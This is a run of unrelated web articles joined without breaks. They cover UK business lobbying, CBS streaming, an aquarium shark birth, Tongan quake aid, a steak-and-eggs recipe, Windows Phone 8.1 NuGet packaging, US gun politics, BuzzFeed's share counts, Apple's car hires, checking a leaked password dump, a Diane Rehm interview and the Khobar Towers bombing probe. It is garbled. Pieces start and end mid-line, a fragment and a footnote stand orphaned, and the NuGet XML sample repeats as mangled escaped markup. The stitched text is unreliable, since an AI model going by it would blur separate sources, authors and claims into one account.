If chief executives say it is Labour that will put the economy at risk, who does the voter believe? Answer: the cief executives. Once you lose them, you lose more than a few votes. You lose your economic credibility.
But why do bosses have such influence? Partly, it's because politicians have so little credibility. But there are also two other reasons.
One is that the media - and the BBC is as guilty as anyone - sets up bosses as being general purpose experts: their opinions on the wider economy are often reported as authoritative in the way that others are not. This, though, misses the point that businessmen are at best experts only at running their own businesses - or in Stefano Pessina's case, inheriting them - and often not even that. As fans of many football teams will tell you, an ability to run one business often doesn't imply an ability to run another.
Also, bosses have managed to mythologize themselves as heroic, risk-taking leaders. But as we saw when Citylink collapsed, this is a fiction: it is workers and small contractors who bear risk, not big businessmen.
"Business leaders" are rather like corrupt medieval clergymen: they use an ideological fiction as a means of extracting wealth and power. What we need is a Martin Luther or Thomas Cromwell.
* I stress retained profits: these are the profits left after taxes, interest payments and dividends.CBS is hoping to gain rights to transmit the National Football League games it broadcasts on TV via its new broadband service “CBS All Access” in time for the next TV season, the company’s chief executive told investors Monday.
Leslie Moonves has indicated in the past that he’d like to be able to show NFL games via the service, which launched in the fall of 2014 and allows subscribers to see current and classic episodes of many series to which CBS has rights. At present, CBS broadcasts of NFL games on Sunday afternoons and some Thursday nights appear only on TV.
“In general we are always evaluating opportunities to expand the ways our fans can access our content – whether on our owned and operated properties or with our partners,” the NFL said in a statement. A spokesman declined to respond to Moonves’ comments.
The ability to show NFL contests via broadband would be a boon to CBS, which is counting on both “All Access” and a new product that delivers cable network Showtime via broadband to generate meaningful revenue in 2017. Such services are “the future,” said Moonves, while speaking at an investor conference organized by Morgan Stanley. “You walk on college campuses, and they don’t have television sets.” The broadband services allow subscribers to watch programming via mobile devices.
CBS clearly has more plans for “All Access.” The company will launch a new “Star Trek” series, made expressly for the broadband service, that is slated to debut in January 2017. The company will generate attention for the programming by running its debut episode on its flagship broadcast network. Subscribers to CBS All Access already have the ability to watch past episodes from ever other “Star Trek” series.
[Updated, 1:30 PM PT]Here's something you don't read everyday: A shark at a New Zealand aquarium helped another shark give birth by biting its abdomen, effectively resulting in a cesarean section. According to staff, such bites are known to happen from time to time — but never as anything that would aid another shark. "It had to bite a certain part to let them out and do it without killing them [the babies] or her [the mother]," said one staff member.
The rare, possibly unprecedented sight, most likely saved the lives of the eight shark pups inside. Since the staff had no idea that the shark was pregnant, the mother probably would have given birth naturally at night; exposing the young babies to a likely fate of being eaten by adult sharks and stingrays before rescue could come.
Thankfully, this odd event had a happy ending and the aquarium was able to save all of the newborns. They will now be raised in a "nursery" tank and released into the wild once mature.
via New Zealand Herald
Shark performs surgery, saves baby sharks from disaster
Rare event happened in front of amazed spectators at a New Zealand aquarium.Tonga, one of the Pacific's poorest nations, has raised a massive T$833,867 (NZ$705,000) for the Christchurch Earthquake Appeal Fund.
Raised in a single Saturday radio-thon, it is the equivalent of every Tongan giving T$8.33. If every New Zealander gave the same amount, the Earthquake Fund would get NZ$31 million.
The Tongan Government said in a statement that "due to numerous complaints from the public" that they did not have time to get their donations in another radio-thon will be held on Thursday.
"We are very grateful to the members of the public for their generous donations that we have received so far," chair of the coordinating committee Busby Kautoke said.
"We are particularly indebted to the Ministry of Education for the fund -raising that was held by schools."
He said they were following up pledges that were made via telephone by church congregations, kava clubs, government departments, as well letters of appeal that were sent to business houses.
New Zealand currently gives Tonga NZ$16 million a year in aid.If you follow the blog you know that I like to make most of my meals ahead of time. I call this the 5day method and have a series of breakfast and lunch options that I make on Sunday for the work week. For breakfast I always alternate between making a breakfast casserole or breakfast muffins. Now, don’t get me wrong, I love these recipes but they can get a bit old. Today I wanted to try something new so I pan fried some steak in my cast iron skillet and created steak and eggs for the week 🙂
It turned out really well! The cubes of steak were a perfect medium and it all fit in a nice, microwaveable container. This recipe started by prepping the vegetables. First I rough chopped the onions. Then I chopped up a green pepper. After getting the vegetables ready, heat up some bacon grease in your cast iron skillet. Get it nice and hot and then fry the onions until translucent. After the vegetables are done, time to cook the steak! I used Beef Chuck Shoulder which was on sale at BJ’s. For this steak, I cooked it for three minutes on high and then flipped it and cooked it for three more minutes. Keep in mind that you’ll be microwaving this when you eat it in the morning so you can err on the rare side. Here’s all the steak cut up and ready for distribution! I knew how much steak I had to begin with so I divided it into 10 portions for the week. It came out to a little less than 5 oz per serving. I like using my kitchen scale when making breakfast to make sure the portions are even. Now that the steak is done, its time to make the eggs. I combined the eggs, cream, and spices into a large bowl and whisked it. Then I used a large non stick skillet to scramble the eggs. I start by letting them set a little bit for maybe a minute or two. Then once they start to set, I whisk them. Once they are relatively close to done but still a little liquidy, I add in the cheese. Then whisk some more. Overall it was a nice alternative to my standard breakfast casserole / muffin combo. I don’t think i could eat this for a month straight but its nice to have options.Get your libraries ready for Windows Phone 8.1
Immo
Two weeks ago, we released the Windows Phone preview for developers. In this post, I’ll cover what this means for library and app developers.
What this means for library developers
As a.NET developer you can target Windows Phone 8.1 via two platforms:
Windows Phone 8.1. This is the new platform which is more converged with Windows and enables developers to share more code between Windows and Windows Phone apps.
Windows Phone Silverlight 8.1. This is an update to the existing Windows Phone platform; it allows developers to move their existing apps forward while taking advantage of new Windows Runtime APIs.
Apps that target Windows Phone Silverlight 8.1 can consume existing libraries and NuGet packages as-is – after all, it’s still Windows Phone Silverlight – just an updated version.
Apps that target the new Windows Phone 8.1 platform can only consume libraries and NuGet packages that are built for Windows Phone 8.1. But don’t worry – it’s easy to update your libraries to include support for Windows Phone 8.1.
If you’re already using a portable class library to target Windows Phone, then it’s even super trivial:
First, make sure you have Visual Studio 2013 Update 2 RC installed. You can get the release candidate from here. Right click your portable class library in Solution Explorer and select Properties. On the Library tab click on Change. This opens a dialog in which you can now add support for Windows Phone 8.1:
Note: If you have the Xamarin Tools installed you might get an error message telling you the selection doesn’t share any portable APIs. That’s a known issue with the current version of the Xamarin tools. Xamarin is working on providing an updated version. For now, the only workaround is to uncheck the Xamarin platforms.
For Windows Phone Silverlight 8 libraries, we recommend creating a new portable class library that targets Windows Phone 8.1 and Windows Phone Silverlight 8.1.
In case you’re redistributing your library via NuGet, you also need to indicate support for Windows Phone 8.1 by using the new lib folder name, which is wpa81. For example:
<package ><br /> <metadata><br /> <id>MyLibrary</id><br /> <!--... --><br /> </metadata><br /> <files><br /> <!-- Support for portable --><br /> <file src="MyLibrary.dll" target="libportable-net45+win8+wp8+wpa81" /><br /><br /> <!-- Windows Phone 8.1 specific library --><br /> <file src="MyLibrary.Phone.dll" target="libwpa81" /><br /> </files><br /></package> 1 & lt ; package & gt ; < br / > & nbsp ; & nbsp ; & lt ; metadata & gt ; < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ; id & gt ; MyLibrary & lt ; / id & gt ; < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ;! --... -- & gt ; < br / > & nbsp ; & nbsp ; & lt ; / metadata & gt ; < br / > & nbsp ; & nbsp ; & lt ; files & gt ; < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ;! -- Support for portable -- & gt ; < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ; file src = "MyLibrary.dll" target = "libportable-net45+win8+wp8+wpa81" / & gt ; < br / > < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ;! -- Windows Phone 8.1 specific library -- & gt ; < br / > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & lt ; file src = "MyLibrary.Phone.dll" target = "libwpa81" / & gt ; < br / > & nbsp ; & nbsp ; & lt ; / files & gt ; < br / > & lt ; / package & gt ;
We’ve already updated our NuGet packages to add support for Windows Phone 8.1. This includes the following NuGet packages:
What this means for app developers
Windows 8.1 and Windows Phone 8.1 support a common set of APIs, with few exceptions. This allows you to very easily build your application such that it works on both Windows Phone as well as Windows. With Visual Studio 2013 Update 2, we’ve added a new feature called Universal Apps that makes this process a breeze. You find out more in the post Using Visual Studio to build Universal XAML Apps.
Many of the popular NuGet packages have already added support for Windows Phone 8.1, such as JSON.NET as well as our NuGet packages.
But it’s certainly possible that you’ll want to consume NuGet packages that aren’t enabled for Windows Phone 8.1 yet. In that case, you’ll see an error message like this:
If you hit such a case you should let the author of the package know by using the Contact Owners link on their NuGet page:
Summary
With the Windows Phone 8.1 tooling and OS preview have both been just released, we need the community’s help to update your NuGet packages. If you maintain a library that supports phone, you should update your project and NuGet package so that developers building universal Windows apps can leverage your work.
Enjoy!ANTIFA BOXE
di Vincenzo Cicanese (2012)Prodotto da APA
Prima a Torino, poi a Bologna e a Palermo. Sono nate da qualche anno le palestre popolari. Sono vicine ad alcuni centri sociali delle grandi città italiane e avviano i ragazzi alla nobile arte: la boxe. In questo documentario del giovane regista Vincenzo Cicanese si raccontano le ambizioni collettive di molte persone che intendono lo sport come puro esercizio fisico, senza altro motivo che l’aggregazione di cittadini in quartieri spesso difficili. A Palermo Antifa boxe, a Bologna Red Rose boxe |
thinner.
One more note: Robert Lutz, GM vice chairman, who has directed the improvement of GM's product, was once president of Chrysler and led that company's turnaround before the Daimler takeover.
Even considering Lutz's background--and brilliant contributions to both companies--there seems to be absolutely nothing for GM to gain by teaming up with Chrysler.What is it about guns that brings out the absolute worst, most debased forms of human behavior? On the one hand, we have gun owners who decide to check into a hotel, take a room on the 32nd floor and then fire hundreds of rounds into a concert-going crowd to see how many people they can kill. On the other hand, when the word gets around on social media that someone voluntarily got rid of his guns because of what happened in Vegas on October 1, that individual is subject to a barrage of the most vile, disgusting and stupid online attacks that could be imagined, up to and including threats on his life.
I’m not making this up. Last week a resident of Phoenix, Jonathan Pring, turned in a pistol and a rifle to the Phoenix PD and then made the mistake of putting up a post on Facebook in which he stuck a video of the guns being given to the cops along with a statement that he was taking this step because of the shooting at the Mandalay Bay. Within hours, he began receiving countless insults, profanities and even threats to his business and his life, with such comments as “someone needs to go shoot this idiot and make him wish he could have defended himself,” being not all that crazy compared to others he received. And this particular comment came from a self-described three-percenter who, of course, makes a point of telling everyone how patriotic she is on her own Facebook page.
What I find interesting about these online outbursts, and I am a target of such attacks all the time, is that such activity often reflects the degree to which much of the chatter on social media is nothing more than the attempt by childish minds (regardless of the age of the body in which this mind is contained) to outdo one another in terms of who can say something more offensive than what the previous post actually said. And frequently these unreconstructed idiots belong to social media groups that basically exist to allow all the members to engage in this one-upmanship behavior by identifying and targeting individuals who express a contrary point of view.
On the other hand, what really bothered me about the reaction to Pring’s principled and selfless decision to turn his guns in after the Las Vegas rampage was not the fact that his online video attracted some gun-rights crazies to crawl out from under their rocks. Much more disturbing was the fact that his actions were basically ignored by the gun violence prevention (GVP) community who should have been spreading the news of his decision as far and as wide as they could.
If only I had a nickel for every time that some GVP advocate or influencer complains about the “power” of the NRA without mentioning the degree to which opposition to the NRA on social media is so tepid and weak. When some deputy sheriff from Podunk makes a statement about how he supports concealed-carry, the NRA shouts out the message from here to kingdom come. But here’s a guy who made a remarkable statement about the risk of legal gun ownership and the GVP community responds to his message with a big yawn. Shouldn’t the Brady Campaign invite Jonathan Pring to come to DC and accept an award? Shouldn’t Gabby and Mark fly out to meet with him? God knows they go everywhere else.It’s been a good week for old media. The Guardian, The Washington Post, The New York Times, and The Wall Street Journal have all done a superb job of reporting on the NSA/PRISM revelations. Unfortunately it has also been a terrible decade for them. Newspaper advertising revenue has fallen by more than half since 2007, and paywalls aren’t even coming close to covering that loss.
Worse yet, nimbler competitors are doing their breakneck best to steal the audience…and they seem to be doing it well. I recently got curious about how frequently various news sources are shared on social media, and since I couldn’t find any tool that measured quite what I wanted, I built one myself. (And I’ve spent like a hundred dollars on App Engine server costs amassing all of its data, so I hope you appreciate this.) The results were eye-opening.
My handy-dandy tool, called Scanvine, tracks stories from a panoply of online sources, measures how often they’re shared, and compares and ranks them all. Guess what its leaderboard says as of this writing? None of the above are ranked in the top three. Nor the NYT, or the WSJ, or the New Yorker. Instead, third place goes to The Onion, with an average of 2000 shares per story; number two is Cracked, with 2700; and number one, at over 3000…is much-loathed BuzzFeed.
But wait, it gets worse. The numbers for most of the sources Scanvine tracks have been pretty consistent since the start of the year, which is how far back its data collection goes. Here’s a handy-dandy chart of the New York Times since then:
and here’s the BBC World News:
and here’s TechCrunch. (Which, incidentally, does very well indeed among tech sources.) (modest cough.)
All three are basically still where they were in the second week of January. But here’s BuzzFeed —
and here, I’m sorry to say, is the Mail Online. (As a former UK resident I have good reason to despise the Daily Mail, and while the Mail Online is not quite the same thing–basically it’s the UK’s TMZ–it’s guilty by association.)
Can you see the difference?
Now, it’s possible that some methodological tweak has somehow caused Scanvine to overstate the recent rapid increase in the share counts for BuzzFeed and Mail Online — and indeed I kind of hope so — but you’d be hard-pressed to deny that quick-hit low-journalism sites, as personified by those two, have had a much, much better half-decade than the gray old-media titans of yore, and there’s no sign of this trend turning around anytime soon.
Please note: I said low journalism, not bad journalism. There’s a huge difference. High journalism, eg the investigative Snowden/NSA reporting, is like protein; low journalism is more like chocolate. And there’s definitely a place in this world for good chocolate, à la The Onion and Cracked, whose stories usually manage to be about something while still being hilarious. But BuzzFeed? Not so much.
Historically, high journalism has largely been subsidized by low journalism. Nowadays, though, the two are increasingly decoupled, largely because we can get the latter online in unlimited quantities. BuzzFeed is the poster child of this movement, partly because of its undeniable success, partly because it is to low journalism what high-fructose corn syrup is to chocolate, as satirized by, er, The Onion. BuzzFeed is little more than a superbly engineered machine for turning animals, animated GIFs, and repackaged Reddit threads into pageviews. It’s almost pure sugar water.
To be clear, I’ve been amused by many a BuzzFeed post myself; and to their credit, they’re trying to do more. They’re not just expanding further into video, they’re looking to broaden their remit into high journalism as well. Under Ben Smith, they’ve expanded into political reporting, and they’ve just hired The Guardian‘s Moscow correspondent as their first foreign and national security editor:
The idea for the expansion, says BuzzFeed founder Jonah Peretti, took shape after the April 15 Boston Marathon bombings… “It was a real eye-opening moment,” Peretti says. “They don’t have a legacy news brand, and they were turning to BuzzFeed, a site they visit every day, to figure out what was happening. … Our top five stories were all hard news content.”
Well, maybe. But I built Scanvine to tabulate the available data myself, and according to it, here are BuzzFeed’s 40 most-shared stories for the week following the Boston bombing. You do find “29 Reasons To Love Boston,” “Comfort Dogs Come To Boston”, “Boston Marathon Met With Unbelievable Acts Of Kindness,” “Dunkin’ Donuts In Boston Stayed Open During Lockdown,” and “16 Eerie Images Of Boston On Lockdown,” but only three stories there could remotely be considered hard news — and they’re way, way down the list from “27 Signs You Were Raised By Asian Immigrant Parents,” “20 Reasons Why Going To The Gym Is A Huge Waste Of Time,” and “27 Dogs That Will Do Anything For Kids.”
I challenge you to find political or hard news high on the BuzzFeed Top 40 list for any other week this year, either. If their audience really is into hard news and politics, then they sure seem to be going out of their way to keep it hidden from one another.
Who knows? BuzzFeed may yet become, well, the BuzzFeed of hard news. And I genuinely admire their attempt to do so. But if they do succeed, it will be one of the great media pivots of our time. I doubt it will happen. I think that instead the world of news will continue to bifurcate into the high/hard and the low/soft, and that BuzzFeed will remain the lowest and softest of the latter category.
All of which means that for pretty much the first time in the history of newspapers (unless you count The Economist, which continues to defy all trends) we’ll all have to find out whether or not hard news and investigative journalism can survive and thrive all on their own. Let’s hope so. Because as this week shows, we still need those grizzled old-media watchdogs to keep their eyes and teeth sharp. Maybe now more than ever.Apple is continuing its recent hiring spree from the automotive industry for its not-so-secretive car project, this time hinting at the company’s work prototyping car parts.
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The new hires include former Tesla employee David Masiukiewicz, who joins Apple this month as Sr. Model Maker at its Product Realization Lab where Apple prototypes many of its products.
Masiukiewicz left Tesla in March and officially started at Apple in April. At Tesla, he listed his position as “Senior CNC Programmer R&D Hardware Prototyping,” according to his LinkedIn profile, noting his work on “Precision 5 axis CNC machining of powertrain, suspension and chassis components using CATIA v5 and Openmind hyperMILL software,” and “Programming of Mill/Turn equipment using Esprit.”
On leaving Tesla for Apple, Masiukiewicz said on his Facebook page that, “Apple provided me with many compelling reasons to come work with them”
Also recently joining the Product Realization Lab with an automotive background is Kevin Harvey, who we discovered joined Apple in August after leaving a role as CNC Machine Shop Supervisor at Andretti Autosport.
The hires seem to hint at Apple’s work prototyping car parts at its Product Realization Lab, a facility that was previously used for prototyping new Macs, iOS devices and Apple’s other products. The lab, at least for other Apple products, is where model makers, machinists, and other engineers at Apple prototype products and parts working alongside the Industrial and Product Design Teams and others.
Earlier this week we broke the news that Apple picked up former Tesla VP and Aston Martin Chief engineer Chris Porritt for its car project. That came after a recent report claimed that Steve Zadesky, the Apple exec previously believed to be leading Apple’s secretive car efforts, left the company earlier this year.
Just how far along Apple is with its development of the Apple Car is still unknown since news of the project first broke just over a year ago. At the time, Apple was thought to be eyeing a 2020 timeframe, but a report from WSJ since said it moved up that estimate to 2019 as it worked to triple the size of the team. Last year, we revealed that Apple had hired a long list of automotive experts for the project with a profile on some of the key team members and recent hires.
Beyond that, Apple is thought to have a separate facility where development on the car codenamed “Project Titan” is taking place, and it’s said to be interested in working with Austrian-based automotive manufacturer Magna after a recent report claimed negotiations with Daimler and BMW have hit dead ends. Now it also looks like it’s prototyping some parts for the project at its Product Realization Lab.
Fred Lambert from our sister site Electrek.co contributed to this report.Earlier this week, noted security researcher and consultant Mark Burnett made waves when he posted 10 million stolen usernames and passwords on his blog. Of course, the security expert didn’t post the passwords with malicious intent. Instead, his goal was to “release a clean set of data” that gives the world insights into user behavior, and also to draw attention once again to the arrest and prosecution of Barrett Brown.
Burnett didn’t steal the passwords in question, of course, but they’re now easily accessible to anyone and everyone — here’s how you can quickly and easily find out if you are affected.
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Burnett posted the 10 million leaked usernames and passwords in one big torrent file that anyone with a computer can download in a matter of minutes. Thankfully, one of the people who downloaded that file used it to create a simple site where anyone can check to see if their accounts have been compromised.
Here’s how you can check:
Simply visit this page on programmer Luke Rehmann’s website, where you’ll be able to search for your usernames and passwords in the leaked file.
Now, before you start wondering if Rehmann is just using this page to collect the usernames and passwords people input, it’s important to note that you can (and should) search with partial entries. So, for example, if your password is “trustno1,” you can simply search “no1” or “trus” and see if one of your accounts comes up.
As Burnett notes in his blog post, the usernames and passwords he posted are a small sample pulled from earlier username and password dumps containing upwards of 1 billion sets of stolen credentials. As a result, running a check on the site linked above doesn’t guarantee that your usernames and passwords aren’t floating around on the deep web.
To check your usernames against more complete databases of stolen credentials, visit Havibeenpwned.com and Pwnedlist.com.Stephen J. Cohen via Getty Images Diane Rehm says the 2016 campaign "has been such a shadow on our whole society."
WASHINGTON ― For millions of people across the country who’ve been victims of sexual assault, the presidential election became unusually personal in the past several weeks, as Republican nominee Donald J. Trump bragged about his ability to grope women without their consent.
That boast was followed by at least a dozen women coming forward to say Trump had acted toward them in the way he described in leaked audio. The episode, said NPR talk-show host Diane Rehm, triggered memories of her own assault as a child, she told The Huffington Post in an interview.
Rehm said she chose not to share her story on “The Diane Rehm Show” in the context of Trump’s remarks because she’d talked about it for a 1999 profile in The Washington Post, and had also written about it. “People have known about it, and what happened to me is in no way in comparison to what happened to these young women as they’ve been forced against their will to be manhandled by him,” said Rehm.
At the age of 9, Rehm met a man who turned out to be a congressman. The man won her parents’ trust and took Rehm out for the day by himself. He lured her to his hotel room and molested her. “I was a child, young enough yet smart enough to get out of that room and get out of there quickly,” she said.
She was traumatized for years. “Every time I got on the streetcar, I was scared I might see him again. Every time I walked from my house on Tiller Street down to the Tivoli Theater on 14th and Park Road, I was scared I’d see him again. I mean that lasted a long long time,” she said.
And then came Trump, whose behavior toward women Rehm finds deplorable. “That’s despicable behavior that nobody, man nor woman, in this country can condone,” she said. “And when Trump says these women are all lying or they’re all seeking publicity for themselves or they’re too fat or they’re menstruating, I mean, that’s just ugly, ugly talk.”
"I'd have to sit with [Trump], I'd have to see his face, his body language. Unlike Terry Gross, who I know prefers to do interviews by phone or by ISDN, I really like to sit with people." Rehm, throwing some FM-level shade at the host of Fresh Air
Rehm said she has reached out to Trump’s campaign to invite him for an interview. Were Trump running a typical campaign, he might be eager to sit down with Rehm to reach her massive audience. “We’ve asked, but his campaign has not responded,” she said. If Trump did agree, she’d insist he come to the studio rather than phone in.
“I’d have to sit with him, I’d have to see his face, his body language. Unlike Terry Gross, who I know prefers to do interviews by phone or by ISDN, I really like to sit with people,” she said, referring to the host of NPR’s “Fresh Air.” “I cannot imagine not asking him why in the world he wants ― why in the world he thinks he could be a great president. But I really would want to sit with him and hear his voice not through a teleprompter, not over a microphone in an auditorium, but face to face.”
Trump’s campaign, Rehm said, has been “just hideous. It has been such a shadow on our whole society and such a really ― kind of a feeling of what has our society come to? Rather than speaking out daily about issues that we might cover, it’s just been this horrendous back and forth, and this awful claim of legitimacy and lack there of, and saying to the America public that the election is rigged. And that sort of thing really, really bothers me because it puts doubts in people’s minds and makes people worry their vote doesn’t count or doesn’t matter, when in fact every vote counts.”
Rehm, 80, is retiring from her day job after the election. She is the upcoming recipient of the International Women’s Media Foundation Lifetime Achievement Award. “I felt it was time to bring a younger fresher voice in and to bring some new ideas in,” she said.
She said she will continue acting in the play “Surviving Grace,” producing a weekly podcast, and helping WAMU, her local public radio station in Washington, raise money for programming. She also plans to become more active on behalf of the death with dignity movement.
Rehm said her strong feelings about Trump’s behavior toward women have not led her to speak out forcefully against him on her program. That, she said, is not her job. “I always have tried to bring people in who represent that point of view so that the American public can hear it directly from them. My role is to question both sides and to be as fair and as straightforward as I can be,” she said.
I asked Rehm about a moment from a show I’d heard years ago, in which she chastised Mother Jones’ David Corn for calling conservative activist Grover Norquist a liar on the air. The media have wrestled during the 2016 campaign with how to handle reporting on blatant lies.
Rehm vividly recalled the exchange. “I don’t think you need to behave that way in public. You can say, ‘You know, here are the facts as I see them,’ rather than, ‘You are a liar,’ because that’s ad hominem and I don’t see the usefulness of that kind of direct unpleasantness on the air. That’s the kind of behavior that I think ought to be relegated to somebody’s personal living room. If they want to call somebody a liar at home, that’s fine, but not on my program, thank you very much,” she said.
“David was contrite afterwards. He apologized,” she added.
That kind of discourse tends to degrade, she argued, and foreshadowed the current campaign. “And now to hear these words coming out of Trump’s mouth, calling Hillary ‘crooked Hillary,’ it’s just awful,” she said.
Rehm said she understands, however, why Hillary Clinton has not gotten more traction. “I certainly understand the American people’s frustration with the fact that Hillary has not put out every single word of her speeches, understand that because of her statements and the huge amount of money she’s earned that there’s mistrust about her,” she said. She added: “I think it’s totally unfair for the Trump campaign to try to pin her down because of the actions of her husband, who is not running for office.”
Looking back on her 37 years on the air, Rehm said she was aware of the significant role that chance played. “I’m so honored to win this lifetime achievement award,” she said. “I’ve truly been very fortunate in my life. I know luck has played a great big part in it.”
Rehm said she took a course as a young woman at George Washington University called “new horizons for women,” and her classmates encouraged her to get into broadcasting.
“I’ve never been to college, never taken a single course in broadcasting. Well, within a week, a friend of mine told me she was volunteering at this tiny little radio station less than two miles from my home and a light bulb went on in my head,” Rehm recalled.
“I asked if they needed more volunteers and I went in the next week and the host was out sick and I was on the air the very first day,” she said. “If you’re not ready to open yourself and move forward when that luck comes your way it’s all for naught.”
Having the financial resources to volunteer also made it possible, she added. “The other thing I feel really lucky about is the fact my husband could support me through those years. If he hadn’t been able to, and I had to go to work to support the family, I could never have done this,” she said.Ahmed Ibrahim Al-Mughassil, the Saudi Shiite oppositionist long accused of having planned the 1996 massive truck bomb explosion at the US Air Force barracks at Khobar Towers in Saudi Arabia, was captured in Beirut on August 8 by forces belonging to the Lebanese Internal Security Forces’ “Information Branch,” according to Al Akhbar, the Beirut Arabic-language newspaper on August 27.
Al Akhbar pointed out that those Lebanese security forces have been aligned with Saudi Arabia for many years, so the capture of Mughassil should be seen as part of the aggressive role Saudis are playing against Iran and all of its allies in the region. The Saudis will certainly seek to use Mughassil as a symbol of Iran’s alleged role in carrying out terrorist actions worldwide, in order to put more pressure on the Obama administration to maintain rigid hostility toward Tehran.
The Khobar Towers bombing, which killed 19 US servicemen and wounded 372, is one of the events that US officials and news media routinely mention as proof of Iran’s sponsorship of terrorism. And in 2001 the Bush administration indicted Mughassil, along with twelve other members of “Hizballah Al-Hijaz,” the Saudi Shiite dissident organization aligned with Iran, for allegedly carrying out the Khobar bombing under direction from Iran.
But an investigation of the Khobar Towers case that I conducted in 2009, based on interviews with more than a dozen former FBI, CIA and other administration officials knowledgeable about the official investigation, reveals a very different story:
The official Khobar Towers investigation led by FBI Director Louis Freeh was precooked to arrive at the outcome that had been politically determined by the White House.
The only evidence of Saudi Shi’a involvement in the bombing was from confessions obtained by torture by Saudi secret police.
The investigation ignored compelling evidence that Osama bin Laden’s al Qaeda – not Iran-supported Saudi Hezbollah” – planned and executed the bombing.
From the beginning of the investigation, the FBI and CIA were determined to focus solely on evidence of Iranian involvement and to exclude leads linking al Qaeda to the blast. FBI and CIA experts on bin Laden who offered to assist in the investigation were rebuffed. Jack Cloonan, a member of the FBI’s I-49 unit, which had investigated previous terrorist actions by bin Laden, recalled that when he offered his unit’s assistance on the probe to the Washington Field Office (WFO), he was told to “fuck off.”
Similarly, CIA Director George Tenet created an encrypted “passline” that allowed only a handful of agency officials to know what was going on in the investigation. One of those excluded was the head of the bin Laden unit at the CIA’s Counter-Terrorism Centre, Michael Scheuer. That unit compiled a four-page memo containing all the intelligence it had collected before the Khobar Towers bombing, indicating that al Qaeda was planning an operation in Saudi Arabia involving explosives during 1996. Scheuer told me that Khobar was one of the places that came up in the intelligence. “They were moving explosives from Port Said through Suez Canal to the Red Sea and to Yemen, then infiltrating them across the border with Saudi Arabia,” Scheuer told me.
Scheuer recalled how the head of the CIA’s Counter-Terrorism Centre, Winston Wiley, came to his office after getting that intelligence memo to convince him that Iran was responsible for the Khobar bombing. Wiley showed him a translated intercept of an internal Iranian communication in which there was a reference to Khobar Towers. “Are you satisfied?” Wiley asked him. Scheuer replied that it was only one piece of information in a much bigger universe of information that pointed in another direction.
While the FBI and CIA were studiously ignoring Bin Laden, he was publicly claiming responsibility for the Khobar bombings.
Freeh was personally handling the investigation at the FBI, according to a former FBI official involved in it. And he had already made up his mind from the beginning about Iran’s responsibility. “There was never, ever a doubt in my mind about who did this,” a former senior FBI official, who asked not to be identified, told me. During the course of my earlier investigations on this topic, I invited Freeh to respond to these claims, but he declined to comment.
FBI officials involved in trying to pursue their investigation of the Khobar Towers bombing in Saudi Arabia recalled in interviews how Saudi officials deliberately frustrated them at every turn. US intelligence intercepted communications from senior Saudi officials to the governor of Saudia Arabia’s Eastern province, ordering local officials there to obstruct the US investigation, according to one former FBI official who insisted on anonymity to discuss the FBI investigation.
Within a few weeks after the bombing, moreover, a glaring contradiction in the Saudi account of what Saudi officials had known about the bombing plot suddenly became evident: A former Clinton administration official recalled in an interview how Freeh had stormed into the White House situation room in July 1996, livid with anger. He had just learned that the Saudis were claiming they had arrested a Saudi Hezbollah activist in March with concealed explosives and had quickly discovered the Shi’a plot to bomb Khobar Towers.
But the Saudis had never said anything to their American counterparts in March or April 1996 about any Shi’a plot to blow up Khobar Towers. “We asked why they didn’t tell us about this earlier and didn’t get an answer,” David Williams, then the assistant special agent in charge of counter-terrorism, told me.
Either the Saudis had deprived the Americans of critical information they had about the security of the Khobar Towers facility or they were lying about obtaining that information – or both.
Interior Minister Prince Nayef had referred publicly to the smuggling incident in mid-April. He had said Saudi authorities had apprehended an individual trying to smuggle 38 kilograms of explosives into the country from Jordan on March 29, 1996.
Four days after that initial announcement, Nayef had announced the arrest of four men for an earlier car bombing at the Office of the Program Manager of the Saudi National Guard in Riyadh on November 13, 1995, which had killed seven American servicemen. In that same announcement Nayef had mentioned the smuggling incident again, saying it was still unclear whether it was linked to the Riyadh bombing or not.
The confessions of the four men were broadcast on Saudi television that same day. The men were all Sunni jihadist veterans of the Afghan War against the Soviets who said they had been inspired by Osama bin Laden. One of them had referred to a camp in Afghanistan that had been associated with bin Laden.
The US Embassy in Riyadh immediately requested that the FBI be allowed to interrogate the suspects as soon as their arrests were announced in April. But the Saudis never responded to the request, and on May 31, the embassy was informed that the four would be beheaded only an hour and half before the event.
In late October 1996, the Saudi secret police, the Mabahith, gave the FBI summaries of the confessions they had obtained from some 40 Shi’a detainees to the Khobar bombing. But the summaries contained no information that would allow the FBI to corroborate them, according to a former FBI official involved in the investigation who requested anonymity.
Khobar Towers remains a key part of the litany supporting a coercive US policy toward Iran.
While the FBI and CIA were studiously ignoring Bin Laden, he was publicly claiming responsibility for the Khobar bombings. In October 1996, bin Laden was quoted in al Quds al Arabi, the Palestinian daily published in London, as saying, “The crusader army was shattered when we bombed Khobar.” And when the same newspaper asked him in a November 29 interview why there had been no further operations along the lines of the Khobar operation, he said, “The military are aware that preparations for major operations require time, in contrast with small operations.”
Dan Coleman, one of the FBI’s top investigators on al Qaeda, told me that bin Laden always took credit for terrorist actions he had planned but never for those he had not planned.
In order to build a legal case against Iran and Shi’a Saudis, Freeh had to get access to the Shi’a detainees who had confessed. But the Saudis never agreed to allow FBI officials to interview them. In early November 1998, Freeh sent an FBI team to observe Saudi secret police officials asking eight Shi’a detainees the FBI’s questions from behind a one-way mirror at the Riyadh detention center.
By then Saudi secret police had already had two and half years to coach the detainees on what to say, under the threat of more torture. But Freeh didn’t care. “For Louis, if they would let us in the room, that was the important thing,” a senior FBI official involved in the Khobar investigation told me. “We would have gone over there and gotten the answers even if they had been propped up.”
But the Justice Department refused to go ahead with an indictment based on the information the FBI team brought back. Department lawyers knew the Shi’a detainees had been subject to torture, so they have ruled that the confessions were not valid.
The importance of that position on confessions obtained by the Saudis was proven correct a few years later when Canadian citizen William Sampson and five other Western residents described how the Saudi secret police tortured them to force confessions to setting off three car bombs in Riyadh – bombings that independent observers believed had been carried out by al Qaeda. After being released in 2003, Sampson told of beatings administered while being hung upside down, including blows that made his testicles swell to the size of oranges. Sampson said the torturers refined the story over time, constantly adding new details, and even used a wall chart to help him remember in detail the movements he was supposed to have made. Five other European and Australian also testified that they were tortured by Saudi secret police to force them to confess to Riyadh car bombings.
